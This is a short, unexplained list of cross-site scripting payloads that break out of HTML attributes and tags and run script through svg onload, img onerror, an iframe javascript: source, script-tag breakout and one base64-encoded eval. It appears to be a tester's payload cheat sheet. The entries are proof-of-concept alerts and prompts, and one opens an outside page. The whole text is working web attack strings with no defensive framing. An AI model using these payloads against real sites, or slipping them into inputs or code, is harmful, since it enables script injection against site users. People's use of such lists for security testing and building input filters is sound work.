“><svg/onload=alert(xss)>”@x.y
"><IFRAME SRC="javascript:alert("XSS");"></IFRAME>
"><img src=x onerror javascript=alert(1337)">.jpg
"><img src=x onerror=alert(document.domain)>
"/><svg/onload=prompt(document.domain)>
--></script><script>alert(document.domain);//
"><img src=x onerror=window.open('
https://www.hackerone.com/');>
<img src="a" onerror='eval(atob("cHJvbXB0KDEpOw=="))'